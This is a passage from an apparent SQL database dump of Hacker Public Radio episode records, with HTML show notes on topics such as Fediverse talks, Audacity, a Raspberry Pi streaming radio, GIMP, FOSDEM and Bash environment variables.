Question\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3292#2\" target=\"_blank\">Comment 2</a>:\nA listener on 2021-03-16:\n\"Enjoyed the podcast, but...\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3292#3\" target=\"_blank\">Comment 3</a>:\nKevin O&#39;Brien on 2021-03-18:\n\"Thank you\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3292#4\" target=\"_blank\">Comment 4</a>:\nThaj on 2021-03-27:\n\"Well...\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3296#comments\" target=\"_blank\">hpr3296</a></strong>\n(2021-03-22) \"<em>Spam Bot Honey Pot</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=293\" target=\"_blank\">Rho`n</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3296#1\" target=\"_blank\">Comment 1</a>:\nKevin O&#39;Brien on 2021-03-25:\n\"Great show!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3298#comments\" target=\"_blank\">hpr3298</a></strong>\n(2021-03-24) \"<em>Poisoning The Well</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=391\" target=\"_blank\">Some Guy On The Internet</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3298#1\" target=\"_blank\">Comment 1</a>:\nWindigo on 2021-03-25:\n\"Agreed\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3299#comments\" target=\"_blank\">hpr3299</a></strong>\n(2021-03-25) \"<em>Linux Inlaws S01E26: Make your Linux harder</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3299#1\" target=\"_blank\">Comment 1</a>:\nnobody on 2021-03-25:\n\"Other MAC implementations\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2021-March/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2021-March/thread.html</a>\n\n\n<h2>Events Calendar</h2>\n<p>With the kind permission of <strong>LWN.net</strong> we are linking to\n<a href=\"https://lwn.net/Calendar/\" target=\"_blank\">The LWN.net Community Calendar</a>.</p>\n<p>Quoting the site:</p>\n<blockquote>This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.</blockquote>\n\n<h2>Any other business</h2>\n<h3 id=\"tags-and-summaries\">Tags and Summaries</h3>\n<p>Thanks to the following contributor for sending in updates in the past month:<br />\n<b><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\">Dave Morriss</a></b></p>\n<p>Over the period tags and/or summaries have been added to 10 shows which were without them.</p>\n<p>There are now 404 shows which need a summary and/or tags.</p>\n<p>If you would like to contribute to the tag/summary project visit the summary page at <a href=\"https://hackerpublicradio.org/report_missing_tags.php\" class=\"uri\">https://hackerpublicradio.org/report_missing_tags.php</a> and follow the instructions there.</p>\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(3055,'2020-04-17','Advice to new Fediverse administrators and developers',754,'An experienced admin for a Mastodon Instance at a major Fediverse developer offers some tips','<p>Framasoft is a company that develops for PeerTube and Mobilizon, and also hosts a Mastodon instance. The speaker is the sysadmin for the Mastodon instance gives his tips based on his experience at this non-profit company. <a href=\"https://www.zwilnik.com/?page_id=1098\" class=\"uri\">https://www.zwilnik.com/?page_id=1098</a></p>\r\n<h2 id=\"links\">Links:</h2>\r\n<ul>\r\n<li><a href=\"https://redaktor.me/apconf/\" class=\"uri\">https://redaktor.me/apconf/</a></li>\r\n<li><a href=\"https://archive.org/details/apconf-talks/Talk1_Luc_compressed.mov\" class=\"uri\">https://archive.org/details/apconf-talks/Talk1_Luc_compressed.mov</a></li>\r\n<li><a href=\"https://frama.link/ap-conf-2019\" class=\"uri\">https://frama.link/ap-conf-2019</a></li>\r\n<li><a href=\"https://joinpeertube.org/\" class=\"uri\">https://joinpeertube.org/</a></li>\r\n<li><a href=\"https://joinmobilizon.org/en/\" class=\"uri\">https://joinmobilizon.org/en/</a></li>\r\n<li><a href=\"https://soutenir.framasoft.org/en/\" class=\"uri\">https://soutenir.framasoft.org/en/</a></li>\r\n<li><a href=\"https://www.zwilnik.com/?page_id=1034\" class=\"uri\">https://www.zwilnik.com/?page_id=1034</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Fediverse\" class=\"uri\">https://en.wikipedia.org/wiki/Fediverse</a></li>\r\n<li><a href=\"https://www.zwilnik.com/?page_id=1098\" class=\"uri\">https://www.zwilnik.com/?page_id=1098</a></li>\r\n</ul>\r\n',198,108,0,'CC-BY-SA','social media, alternative, Fediverse, ActivityPub',0,0,1),
(3065,'2020-05-01','The case for the unattributed message',977,'Anonymity can cause problems (trolls) but also can be necessary.','<p>Anonymity has an unfortunate consequence of enabling trolls and abuse. But there are cases where it is important for people to communicate anonymously. In this talk some ideas are presented on how to enable a measure of anonymity without having all of the problems. <a href=\"https://www.zwilnik.com/?page_id=1103\" class=\"uri\">https://www.zwilnik.com/?page_id=1103</a></p>\r\n<h2 id=\"links\">Links:</h2>\r\n<ul>\r\n<li><a href=\"https://redaktor.me/apconf/\" class=\"uri\">https://redaktor.me/apconf/</a></li>\r\n<li><a href=\"https://archive.org/details/apconf-talks/Talk7_Caleb_compressed.mov\" class=\"uri\">https://archive.org/details/apconf-talks/Talk7_Caleb_compressed.mov</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/EFnet\" class=\"uri\">https://en.wikipedia.org/wiki/EFnet</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Freenet\" class=\"uri\">https://en.wikipedia.org/wiki/Freenet</a></li>\r\n<li><a href=\"https://medium.com/@mhatta/easy-censorship-resistant-communication-with-syndie-e063a6c9cf35\" class=\"uri\">https://medium.com/@mhatta/easy-censorship-resistant-communication-with-syndie-e063a6c9cf35</a></li>\r\n<li><a href=\"https://www.zwilnik.com/wp-admin/post.php?post=1101&amp;action=edit\" class=\"uri\">https://www.zwilnik.com/wp-admin/post.php?post=1101&amp;action=edit</a></li>\r\n<li><a href=\"https://medium.com/@ameet/strong-opinions-weakly-held-a-framework-for-thinking-6530d417e364\" class=\"uri\">https://medium.com/@ameet/strong-opinions-weakly-held-a-framework-for-thinking-6530d417e364</a></li>\r\n<li><a href=\"https://www.zwilnik.com/?page_id=1034\" class=\"uri\">https://www.zwilnik.com/?page_id=1034</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Fediverse\" class=\"uri\">https://en.wikipedia.org/wiki/Fediverse</a></li>\r\n<li><a href=\"https://www.zwilnik.com/?page_id=1103\" class=\"uri\">https://www.zwilnik.com/?page_id=1103</a></li>\r\n</ul>\r\n',198,108,0,'CC-BY-SA','social media, alternative, Fediverse, ActivityPub, Privacy, Anonymity',0,0,1),
(3075,'2020-05-15','Federated Blogging with WriteFreely',740,'A look at a minimally social blogging app using ActivityPub.','<p>Many social media apps seem determined to put bells and whistles in every possible place, which is not always in the interest of the user. This talk presents an alternative view which is called “minimally social” which only puts in the features needed by the user. In this case, the main focus is on a simple blogging app. There is also a brief mention of a very technical talk about coding. <a href=\"https://www.zwilnik.com/?page_id=1103\" class=\"uri\">https://www.zwilnik.com/?page_id=1103</a></p>\r\n<h2 id=\"links\">Links:</h2>\r\n<ul>\r\n<li><a href=\"https://redaktor.me/apconf/\" class=\"uri\">https://redaktor.me/apconf/</a></li>\r\n<li><a href=\"https://archive.org/details/apconf-talks/Talk8_Matt_compressed.mov\" class=\"uri\">https://archive.org/details/apconf-talks/Talk8_Matt_compressed.mov</a></li>\r\n<li><a href=\"https://read.as/\" class=\"uri\">https://read.as/</a></li>\r\n<li><a href=\"https://libresaas.org/\" class=\"uri\">https://libresaas.org/</a></li>\r\n<li><a href=\"https://www.zwilnik.com/?page_id=1105\" class=\"uri\">https://www.zwilnik.com/?page_id=1105</a></li>\r\n<li><a href=\"https://archive.org/details/apconf-talks/Talk9_Michael_compressed.mov\" class=\"uri\">https://archive.org/details/apconf-talks/Talk9_Michael_compressed.mov</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Fediverse\" class=\"uri\">https://en.wikipedia.org/wiki/Fediverse</a></li>\r\n<li><a href=\"https://www.zwilnik.com/?page_id=1103\" class=\"uri\">https://www.zwilnik.com/?page_id=1103</a></li>\r\n</ul>\r\n',198,108,0,'CC-BY-SA','social media, alternative, Fediverse, ActivityPub, Blogging',0,0,1),
(3085,'2020-05-29','Architectures of Robust Openness',1142,'A look at how to secure social networks against attack while still being open to strangers.','<p>Social networks can be attacked by people who want to cause abuse and disruption, and one way to deal with that is to lock down the membership. But that goes against the idea of social, which should include being open to welcoming strangers. Mark Miller presents an analysis of how you can be both secure and welcoming which focuses on Object Capabilities. <a href=\"https://www.zwilnik.com/?page_id=1107\" class=\"uri\">https://www.zwilnik.com/?page_id=1107</a></p>\r\n<h2 id=\"links\">Links:</h2>\r\n<ul>\r\n<li><a href=\"https://redaktor.me/apconf/\" class=\"uri\">https://redaktor.me/apconf/</a></li>\r\n<li><a href=\"https://archive.org/details/apconf-mark\" class=\"uri\">https://archive.org/details/apconf-mark</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Project_Xanadu\" class=\"uri\">https://en.wikipedia.org/wiki/Project_Xanadu</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Miller_columns\" class=\"uri\">https://en.wikipedia.org/wiki/Miller_columns</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/E_(programming_language)\" class=\"uri\">https://en.wikipedia.org/wiki/E_(programming_language)</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Caja_programming_language\" class=\"uri\">https://en.wikipedia.org/wiki/Caja_programming_language</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Foresight_Institute\" class=\"uri\">https://en.wikipedia.org/wiki/Foresight_Institute</a></li>\r\n<li><a href=\"https://www.synopsys.com/blogs/software-security/polaris-software-integrity-platform/\" class=\"uri\">https://www.synopsys.com/blogs/software-security/polaris-software-integrity-platform/</a></li>\r\n<li><a href=\"https://www.cs.jhu.edu/~seaborn/plash/html/\" class=\"uri\">https://www.cs.jhu.edu/~seaborn/plash/html/</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Bitfrost\" class=\"uri\">https://en.wikipedia.org/wiki/Bitfrost</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Security_Content_Automation_Protocol\" class=\"uri\">https://en.wikipedia.org/wiki/Security_Content_Automation_Protocol</a></li>\r\n<li><a href=\"https://alanhkarp.com/scoopfs/index.html\" class=\"uri\">https://alanhkarp.com/scoopfs/index.html</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Secure_Scuttlebutt\" class=\"uri\">https://en.wikipedia.org/wiki/Secure_Scuttlebutt</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Fediverse\" class=\"uri\">https://en.wikipedia.org/wiki/Fediverse</a></li>\r\n<li><a href=\"https://www.zwilnik.com/?page_id=1107\" class=\"uri\">https://www.zwilnik.com/?page_id=1107</a></li>\r\n</ul>\r\n',198,108,0,'CC-BY-SA','social media, alternative, Fediverse, ActivityPub, Security, OCaps',0,0,1),
(3000,'2020-01-31','Chopin Free project',1433,'An effort to produce royalty and copyright free versions of Frédéric Chopin work.','<p>\r\nThe <a href=\"https://musopen.org/about/\">Musopen</a> (www.musopen.org) is a 501(c)(3) non-profit focused on improving access and exposure to music by creating free resources and educational materials. We provide recordings, sheet music, and textbooks to the public for free, without copyright restrictions. Put simply, our mission is to set music free.\r\n</p>\r\n<p>\r\nTheir latest <a href=\"https://www.kickstarter.com/projects/Musopen/set-chopin-free\">Kickstarter</a> aims to open the works of <a href=\"https://en.wikipedia.org/wiki/Fr%C3%A9d%C3%A9ric_Chopin\">Frédéric Chopin</a> copyright free.\r\n</p>',383,0,0,'CC-BY-SA','musopen, Frédéric Chopin',0,0,1),
(3004,'2020-02-06','Fixing simple audio problems with Audacity',808,'Sharing a few experiences with Audacity that may be helpful to others','<h2 id=\"overview\">Overview</h2>\r\n<p>I recorded the audio for the show I did with <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" title=\"MrX\">MrX</a> in late 2019: <a href=\"https://hackerpublicradio.org/eps.php?id=2972\">“hpr2972 :: The foot of the ski slope”</a>. I was using my Zoom H2n recorder in my car, on a small tripod placed on the dashboard. Something about this setup caused the result to be very <em>boomy</em> and (to me) unpleasant to listen to. This episode is about what I did for a cure, after some research.</p>\r\n<p>I have also been using the <a href=\"https://manual.audacityteam.org/man/truncate_silence.html\" title=\"Truncate Silence\">‘<em>Truncate Silence</em>’</a> effect in Audacity incorrectly in the past, and I used the opportunity to learn how to do a better job with it.</p>\r\n<p>Now, I am well aware that there are some skilled and experienced Audio Engineers out there in HPR-land. I am certainly not one of these, though I quite enjoy fiddling with audio to make it sound better. I’d like to make two requests:</p>\r\n<ol type=\"1\">\r\n<li>If I didn’t do a good job, please tell me what I did wrong here, and how I should have done it.</li>\r\n<li>Think about doing a show (or shows) on HPR about how to deal with common audio problems. For example: how to remove a mains hum, the use of compression and normalisation.</li>\r\n</ol>\r\n<h2 id=\"long-notes\">Long notes</h2>\r\n<p>A longer form of these notes may be <a href=\"https://hackerpublicradio.org/eps/hpr3004/full_shownotes.html\">found here (full_shownotes.html)</a>. These go into more detail on the steps I took to try and make the audio for show 2972 more tolerable.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li>Wikipedia page describing <a href=\"https://en.wikipedia.org/wiki/Audacity_%28audio_editor%29\">Audacity</a></li>\r\n<li>Audacity <a href=\"https://www.audacityteam.org/\">website</a></li>\r\n<li>Effects:\r\n<ul>\r\n<li><a href=\"https://manual.audacityteam.org/man/noise_reduction.html\">Noise Reduction</a></li>\r\n<li><a href=\"https://manual.audacityteam.org/man/high_pass_filter.html\">High-pass Filter</a></li>\r\n<li><a href=\"https://manual.audacityteam.org/man/amplify.html\">Amplify</a></li>\r\n<li><a href=\"https://manual.audacityteam.org/man/truncate_silence.html\">Truncate Silence</a></li>\r\n</ul></li>\r\n</ul>\r\n',225,0,1,'CC-BY-SA','audio,Audacity,effects,problem solving',0,0,1),
(3009,'2020-02-13','Linux Inlaws S01E01',3570,'Linux Inlaws - a podcast about on topics around free and open source software','<p><em>Linux Inlaws</em> - a podcast about on topics around free and open source software, any associated contraband, communism / the revolution in general and whatever else fancies your tickle.</p>\r\n<p>Please note that this and other episodes may contain strong language, offensive humor and other certainly not politically correct language - you have been warned (our parents insisted on this disclaimer - happy mum?). Thus the content is not suitable for consumption in the workplace (especially when played back on a speaker in an open plan office or similar environments), any minors under the age of 35 or any pets including fluffy little killer bunnies, your trusty guide dog (unless on speed) and cute t-rexes or other associated dinosaurs.</p>\r\n\r\n<p>\r\nIn this show the lads introduce themselves and discuss the technology they use and why they are putting on the show.\r\n</p>\r\n\r\n<h3>Links:</h3>\r\n<ul>\r\n<li><a href=\"https://linuxinlaws.eu/\">https://linuxinlaws.eu/</a></li>\r\n<li>email: feedback at linuxinlaws eu</li>\r\n<li><a href=\"https://traceroute-online.com/mtr/\">https://traceroute-online.com/mtr/</a></li>\r\n</ul>\r\n',384,111,1,'CC-BY','free open source software revolution',0,0,1),
(3095,'2020-06-12','Intro to GIMP',1064,'An introduction to GIMP to kick off a new series.','<p>GIMP is the open source alternative to the proprietary Photoshop, and can do most of the same things while respecting your freedom. This show will kick off a new series of tutorials. As a note of caution, I am not an expert, I am just learning GIMP as I go. But I thought there was no harm in sharing my experiences with the HPR community. <a href=\"https://www.ahuka.com/?page_id=1423\" class=\"uri\">https://www.ahuka.com/?page_id=1423</a></p>\r\n<h2 id=\"links\">Links:</h2>\r\n<ul>\r\n<li><a href=\"https://www.youtube.com/watch?v=Q8C0LJPpr64\" class=\"uri\">https://www.youtube.com/watch?v=Q8C0LJPpr64</a></li>\r\n<li><a href=\"https://www.youtube.com/watch?v=SoP5LOFxPeY\" class=\"uri\">https://www.youtube.com/watch?v=SoP5LOFxPeY</a></li>\r\n<li><a href=\"https://www.youtube.com/watch?v=_L_MMU22bAw\" class=\"uri\">https://www.youtube.com/watch?v=_L_MMU22bAw</a></li>\r\n<li><a href=\"https://www.youtube.com/watch?v=TiavEWDVQGE\" class=\"uri\">https://www.youtube.com/watch?v=TiavEWDVQGE</a></li>\r\n<li><a href=\"https://www.gimp.org/tutorials/\" class=\"uri\">https://www.gimp.org/tutorials/</a></li>\r\n<li><a href=\"https://www.makeuseof.com/tag/gimp-photo-editing/\" class=\"uri\">https://www.makeuseof.com/tag/gimp-photo-editing/</a></li>\r\n<li><a href=\"https://www.wikihow.com/Use-GIMP\" class=\"uri\">https://www.wikihow.com/Use-GIMP</a></li>\r\n<li><a href=\"https://daviesmediadesign.com/20-gimp-2-10-tutorials-for-beginners/\" class=\"uri\">https://daviesmediadesign.com/20-gimp-2-10-tutorials-for-beginners/</a></li>\r\n<li><a href=\"https://www.pcworld.com/article/3451356/gimp-basics-tips-and-tricks-for-beginners.html\" class=\"uri\">https://www.pcworld.com/article/3451356/gimp-basics-tips-and-tricks-for-beginners.html</a></li>\r\n<li><a href=\"https://howtogimp.com/\" class=\"uri\">https://howtogimp.com/</a></li>\r\n<li><a href=\"https://issuu.com/gimpmagazine\" class=\"uri\">https://issuu.com/gimpmagazine</a></li>\r\n<li><a href=\"https://www.gimp.org/downloads/\" class=\"uri\">https://www.gimp.org/downloads/</a></li>\r\n<li><a href=\"https://whatis.techtarget.com/fileformat/XCF-GIMP-document\" class=\"uri\">https://whatis.techtarget.com/fileformat/XCF-GIMP-document</a></li>\r\n<li><a href=\"https://gist.github.com/rbrito/e57c87d5376fd56113df058abf71bdf3\" class=\"uri\">https://gist.github.com/rbrito/e57c87d5376fd56113df058abf71bdf3</a></li>\r\n<li><a href=\"https://www.ahuka.com/?page_id=1423\" class=\"uri\">https://www.ahuka.com/?page_id=1423</a></li>\r\n</ul>\r\n',198,113,0,'CC-BY-SA','GIMP, images, photos, graphics',0,0,1),
(3010,'2020-02-14','FOSDEM first impressions',1638,'Impressions from my first attendance at FOSDEM.','<p><a href=\"https://fosdem.org\">FOSDEM</a> is the biggest Free and Open Source conference in the world and on its 20<sup>th</sup> anniversary I decided to attend for the first time. By a good turn of fate, and some well-judged pitching, Ken Fallon secured a stand for the <a href=\"https://freeculturepodcasts.org/\">Free Culture Podcasts project</a> which is an umbrella group that covers HPR, many of the shows on <a href=\"https://otherside.network/\">The Other Side Network</a> and many more excellent podcasts that are released under creative commons licenses.</p>\r\n\r\n<p>This audio is recorded in snippets in between manning the stand and gives some off-the-cuff observations from a FOSDEM noob. I was surprised to find that relatively few visitors to our stand had heard of HPR, which we quickly rectified of course, and I give a brief summary of the feedback we received. Also mentioned in this show, but not actually appearing, are my co-conspirators at FOSDEM, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\">Ken</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=288\">Beni</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=129\">JWP</a> as well as <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\">Dave Morriss</a> who unfortunately wasn\'t able to join us in person but was very much there in spirit.</p>\r\n\r\n',268,0,0,'CC-BY-SA','fosdem,conference,podcasts,creative commons',0,0,1),
(3012,'2020-02-18','Sample episode from Wikipediapodden',518,'An English microsode of their Swedish language podcast about Wikipedia.','<p>\r\nJan Ainali from the  <a href=\"https://wikipediapodden.se/\">https://wikipediapodden.se/</a> podcast came over to the <a href=\"https://freeculturepodcasts.org/\">https://freeculturepodcasts.org/</a> booth at <a href=\"https://fosdem.org/2020/\">FOSDEM</a> 2020.\r\n</p>\r\n<p>\r\nThey do a Swedish Language Podcast about wikipedia et al, and of course we added them to the <a href=\"https://freeculturepodcasts.org/\">https://freeculturepodcasts.org/</a> site. While their main shows are in Swedish, they also have summaries that they do in English which can be found at <a href=\"https://wikipediapodden.se/tag/english/\">https://wikipediapodden.se/tag/english/</a>, (<a href=\"https://wikipediapodden.se/tag/english/feed/\">RSS Feed</a>).\r\n</p>',30,75,1,'CC-BY-SA','fosdem, wikipediapodden, swedish, sweden',0,0,1),
(3036,'2020-03-23','WiiU is dead long live WiiU!',1439,'How to approach dea-ish mod communities','<ul>\r\n<li><p>lulz:<br />\r\n<a href=\"https://twitter.com/operat0r/status/1224025568334708737\" class=\"uri\">https://twitter.com/operat0r/status/1224025568334708737</a></p></li>\r\n<li><p>Discord:<br />\r\n<a href=\"https://discord.gg/nintendohomebrew\" class=\"uri\">https://discord.gg/nintendohomebrew</a></p></li>\r\n<li><p>Saves:<br />\r\n<a href=\"https://gbatemp.net/threads/wii-u-save-files-compilation.427761/#post-6374659\" class=\"uri\">https://gbatemp.net/threads/wii-u-save-files-compilation.427761/#post-6374659</a></p></li>\r\n<li><p>lego ntsc save<br />\r\n<a href=\"https://drive.google.com/open?id=1bTtXv1c8NkOkeHoKOkWHhP6RbiXv9ERo\" class=\"uri\">https://drive.google.com/open?id=1bTtXv1c8NkOkeHoKOkWHhP6RbiXv9ERo</a><br />\r\n<a href=\"https://www.youtube.com/user/BullyWiiPlaza/videos\" class=\"uri\">https://www.youtube.com/user/BullyWiiPlaza/videos</a></p></li>\r\n<li><p>old cheat engine files:<br />\r\n<a href=\"https://rmccurdy.com/.scripts/downloaded/CheatEngineTables-master/tables/\" class=\"uri\">https://rmccurdy.com/.scripts/downloaded/CheatEngineTables-master/tables/</a></p></li>\r\n</ul>\r\n',36,0,1,'CC-BY-SA','wiiu,modding,hacking,tcpgecko,android,ssl pinning,games',0,0,1),
(3014,'2020-02-20','A Headless Raspberry Pi Streaming Radio',1068,'I use a Raspberry Pi to make a streaming radio device for my pillow speaker.','<p>In this episode I talk about how I used a Raspberry Pi to create a streaming radio device to feed my pillow speaker. This is something I used to do with clock radios and later a satellite radio, but in an effort to decrease monthly subscription costs for services I did not use optimally, I discontinued my satellite radio subscription about a year ago. This new free solution is an excellent substitute for Satellite Radio so far, since I was mostly listening to this same channel on the Sat Radio but paying about $12 a month for the privilege. The device I’m using is a <a href=\"https://www.raspberrypi.org/products/raspberry-pi-2-model-b/\">Raspberry Pi 2 Model B</a> with <a href=\"https://ubuntu.com/download/raspberry-pi\">Ubuntu Server</a>. My barrier to this project in the past was not being able to find the URL for the stream I wanted but I discovered you can find it easily if you use Firefox with <a href=\"https://www.downloadhelper.net/\">Video Download Helper</a> to reveal the URL on a page with media playing (in this case it’s from TuneIn):</p>\r\n\r\n<pre><code>https://XX.XXX.XXX.XXX/radio-stationmp3-48?session-id=af1b271fefba04b650f8e253c6b253bd&source=TuneIn\r\n</code></pre>\r\n\r\n<p>Strip off everything after the <code>48</code> to get raw URL:</p>\r\n\r\n<pre><code>https://XX.XXX.XXX.XXX/radio-stationmp3-48\r\n</code></pre>\r\n\r\n<p>Command to play stream with <a href=\"https://www.mpg123.de/\">mpg123</a> on the Pi. Using the <code>-q</code> option to suppress output:</p>\r\n\r\n<pre><code>mpg123-pulse -q https://XX.XXX.XXX.XXX/radio-stationmp3-48 &\r\n</code></pre>\r\n\r\n<p>Once I figure out the command that plays the stream I want, I save the command as an executable script in <code>/home/$user/bin</code>.</p>\r\n\r\n<h3 id=\"usingtheradio\">Using the “Radio”</h3>\r\n\r\n<p>To start playing a stream you first have to SSH into the RasPi. This is easy from a laptop using any terminal emulator. I use pubkey auth so I don’t have to type a password every time. On my phone I use <a href=\"https://play.google.com/store/apps/details?id=org.connectbot&hl=en_US\">ConnectBot</a>. Once I’m into the Pi I run the radio commands from CLI like <code>espn</code> or <code>kmfa</code> or <code>krvs</code>. To stop playback I kill the process with <code>pkill mpg</code>. I have a 3.5mm audio splitter Plugged into the headphone jack of the USB audio interface. In one side of the splitter I’ve got an old pair of earbuds where one side didn’t work, with the working earbud under my pillow. That’s my pillow speaker. On the other side of the splitter I put the audio cable for an <a href=\"https://smile.amazon.com/gp/product/B005GUQ0FI/\">FM transmitter</a>, so that I can use an FM radio to listen to the stream while I’m walking around the house.</p>\r\n\r\n<p>Click the image below to see pictures of the setup.</p>\r\n\r\n<p><a data-flickr-embed=\"true\" href=\"https://www.flickr.com/photos/137675441@N05/albums/72157712927722077\" title=\"Raspberry Pi Radio\"><img src=\"https://live.staticflickr.com/65535/49473218252_39195601ed.jpg\" width=\"500\" height=\"281\" alt=\"Raspberry Pi Radio\"></a></p>\r\n\r\n<h3 id=\"links\">Links</h3>\r\n\r\n<ul>\r\n<li><a href=\"https://www.raspberrypi.org/products/raspberry-pi-2-model-b/\">Raspberry Pi 2 Model B</a></li>\r\n<li><a href=\"https://ubuntu.com/download/raspberry-pi\">Ubuntu Server</a></li>\r\n<li><a href=\"https://www.downloadhelper.net/\">Video Download Helper</a> (Firefox extension)</li>\r\n<li>The <a href=\"https://smile.amazon.com/gp/product/B001MSS6CS/\">USB Audio interface</a> I use</li>\r\n<li>Panda Wireless <a href=\"https://smile.amazon.com/gp/product/B00762YNMG\">USB WiFi adapter</a></li>\r\n<li><a href=\"https://www.mpg123.de/\">mpg123</a> command-line audio player</li>\r\n<li><a href=\"https://play.google.com/store/apps/details?id=org.connectbot&hl=en_US\">ConnectBot</a></li>\r\n<li><a href=\"https://smile.amazon.com/gp/product/B005GUQ0FI/\">C. Crane FM Transmitter</a></li>\r\n</ul>\r\n',238,0,0,'CC-BY-SA','Raspberry Pi, Internet Radio, Streaming Radio, Radio, Streaming Audio, Ubuntu, Ubuntu Server',0,0,1),
(3018,'2020-02-26','Encrypted edit',1234,'Klaatu talks about editing and viewing encrypted files in a tmpfs in RAM','<ul>\r\n<li><a href=\"https://www.passwordstore.org/\" target=\"_blank\">Password-store</a> and the <strong>pre</strong> command.</li>\r\n<li><a href=\"https://gitlab.com/notklaatu/credit/\" target=\"_blank\">Credit</a> command</li>\r\n</ul>\r\n',78,0,0,'CC-BY-SA','GPG, privacy',0,0,1),
(3017,'2020-02-25','Developing Black and White Film',2544,'Join me as I develop my first roll of black and white film since over 30 years ago.','<p>My photos will be available at: <a href=\"https://pquirk.com\" class=\"uri\">https://pquirk.com</a></p>\r\n',383,0,0,'CC-BY-SA','Photography,film,developing,black and white',0,0,1),
(3019,'2020-02-27','Linux Inlaws S01E02 FOSDEM shenanigans',3929,'Linux Inlaws - a podcast about on topics around free and open source software','<p>Linux Inlaws - a podcast about on topics around free and open source software, any associated contraband, communism / the revolution in general and whatever else fancies your tickle.</p>\r\n<h2 id=\"links\">Links:</h2>\r\n<ul>\r\n<li><a href=\"https://linuxinlaws.eu\" class=\"uri\">https://linuxinlaws.eu</a></li>\r\n<li><a href=\"https://fosdem.org\" class=\"uri\">https://fosdem.org</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=3009\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=3009</a></li>\r\n</ul>',384,111,1,'CC-BY-SA','free open source software, revolution, FLOSS',0,0,1),
(3013,'2020-02-19','Bash Tips - 21',2497,'Environment variables','<h2 id=\"the-environment-more-collateral-bash-tips\">The Environment <small><small>(More collateral Bash tips)</small></small></h2>\r\n<h3 id=\"overview\">Overview</h3>\r\n<p>You will probably have seen references to <em>The Environment</em> in various contexts relating to shells, shell scripts, scripts in other languages and compiled programs.</p>\r\n<p>In Unix and Unix-like operating systems an environment is maintained by the shell, and we will be looking at how Bash deals with this in this episode. When a script, program or subprocess is invoked it is given an array of strings called the <em>environment</em>. This is a list of name-value pairs, of the form <code>name=value</code>.</p>\r\n<h4 id=\"using-the-environment\">Using the environment</h4>\r\n<p>The environment is used to convey various pieces of information to the executing script or program. For example, two standard variables provided by the shell are <code>\'HOME\'</code>, which is set to the current user’s home directory and <code>\'PWD</code>, set to the current working directory. The shell user can set, change, remove and view environment variables for their own purposes as we will see in this episode. The Bash shell itself creates and in some cases manages environment variables.</p>\r\n<p>The environment contains global data which is passed down to subprocesses (<em>child</em> processes) by copying. However, it is not possible for a subprocess to pass information <b>back</b> to the superior (<em>parent</em>) process.</p>\r\n<h4 id=\"viewing-the-environment\">Viewing the environment</h4>\r\n<p>You can view the environment in a number of ways.</p>\r\n<ul>\r\n<li><p>From the command line the command <code>printenv</code> can do this (this is usually but not always a stand-alone command: it’s <code>/usr/bin/printenv</code> on my Debian system). We will look at this command later.</p></li>\r\n<li><p>The command <code>env</code> without any arguments does the same thing as <code>printenv</code> without arguments. This is actually a tool to run a program in a modified environment which we will look at later. The environment printing capability can be regarded as more of a bonus feature.</p></li>\r\n<li><p>Scripting languages like <code>awk</code> (as well as Python and Perl, to name just a few) can view and manipulate the environment.</p></li>\r\n<li><p>Compiled languages such as <code>C</code> can do this too of course.</p></li>\r\n<li><p>There are other commands that will show the environment, and we will look at some of these briefly.</p></li>\r\n</ul>\r\n<h4 id=\"changing-variables-in-the-environment\">Changing variables in the environment</h4>\r\n<p>The variables in the environment are not significantly different from the <em>shell parameters</em> we have 